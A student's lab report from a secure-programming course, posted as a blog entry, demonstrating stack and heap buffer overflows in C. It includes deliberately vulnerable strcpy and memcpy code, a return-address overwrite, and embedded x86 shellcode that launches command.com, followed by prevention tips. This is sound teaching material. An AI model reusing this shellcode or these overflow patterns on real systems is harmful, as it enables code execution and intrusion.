安全编程技术实验一

缓冲区溢出

一、实验目的

该实验为验证性实验,实验目的如下:
1、掌握缓冲区溢出的基本原理。
2、掌握预防缓冲区溢出的方法,并且在实际编程中严格遵循这些方法。

二、实验内容及步骤

1、理解缓冲区溢出的基本原理。
2、利用函数strcpy()编程实现一个简单的缓冲区溢出实例。
3、总结预防缓冲区溢出的方法。

三、实验要求

1、本实验一人一组,编程语言为C。
2、要求学生掌握缓冲区溢出的基本原理,并熟练掌握C语言编程。
3、要求学生能够编程实现一个简单的缓冲区溢出实例。

四、实验运行截图





五、实验代码

//代码1:
#include <stdio.h> 
#include <string.h> 
void fun1(char *input) 
{ 
char buffer[10]; 
strcpy(buffer,input); 
printf("Call fun1,buffer=%s\n",buffer); 
} 
int main(int argc, char *argv[]) 
{ 
fun1(argv[1]); 
return 0; 
}
//代码2:
#include <stdio.h> 
#include <string.h> 
void fun1(char *input) 
{ 
char buffer[10]; 
strcpy(buffer,input); 
printf("Call fun1,buffer=%s\n",buffer); 
} 
void fun2() 
{ 
printf("Call fun2"); 
} 
int main(int argc, char *argv[]) 
{ 
printf("Address Of fun2=%p\n",fun2); 
fun1(argv[1]); 
return 0; 
}
//代码3:
#include <stdio.h> 
#include <string.h> 
void fun1(char *input) 
{ 
	char buffer[10]; 	
	strcpy(buffer,input); 
	printf("Call fun1,buffer=%s\n",buffer); 
} 
void fun2() 
{ 
	printf("Call fun2"); 
} 
int main(int argc, char *argv[]) 
{ 
	printf("Address Of fun2=%p\n",fun2); 
	fun1("abcdefghijklmnopqrstuvwxyz12\xBD\x12\x40"); 
	return 0; 
}
//代码4:
#include <stdio.h> 
#include <string.h> 
void fun1(char *input) 
{ 
char buffer[10]; 
strcpy(buffer,input); 
printf("Call fun1,buffer=%s\n",buffer); 
} 
int main(int argc, char *argv[]) 
{ 
char buffer[] = "abcdefghijklmnopqrstuvwxyz12\x12\x45\xfa\x7f" 
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53" "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" 	
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" "\x77\x1d\x80\x7c" "\x52\x8D\x45\xF4\x50\xFF\x55\xF0" "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" "\x50\xB8" "\xc7\x93\xbf\x77" "\xFF\xD0" "\x83\xC4\x12\x5D"; 
fun1(buffer); 
return 0; 
}
//代码5:
#include <stdio.h> 
#include <string.h> 
#include <stdlib.h> 
main (int argc, char *argv[]) 
{ 
char *buffer1, * buffer2; 
char str[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x03\x00\x05\x00\x00\x09"; 
buffer1= (char*)malloc (32); 
buffer2= (char*)malloc (16); 
/*向buffer1中复制,多复制6字节*/ 
memcpy (buffer1, str, 32+6); 
free (buffer1); 
free (buffer2); 
return 0; 
}	

六、实验总结

在本次实验中我对于缓冲区溢出的知识有了一定的认识,跟着PPT尝试了栈溢出和堆溢出的实践操作,按照整数溢出的方式,学习自行编码尝试了用溢出攻击来修改密码。同时也通过学习,了解了一些关于避免缓冲区溢出的知识如使用封装的安全函数,并限定函数中内容大小等方式。

七、思考题

1.不要把用户的输入作为参数传到格式化字符串处理函数中,例如,printf("%s", argv[1])。
2.字符串处理避免使用strcpy,strcat,sprintf,gets。应该使用strncpy,strncat,snprintf。strlcpy和strlcat都是NULL结尾。
3.检查文件路径的长度,不要超过系统允许的最大值。

posted @ 2022-11-26 16:56  戴骏  阅读(53)  评论(0编辑  收藏  举报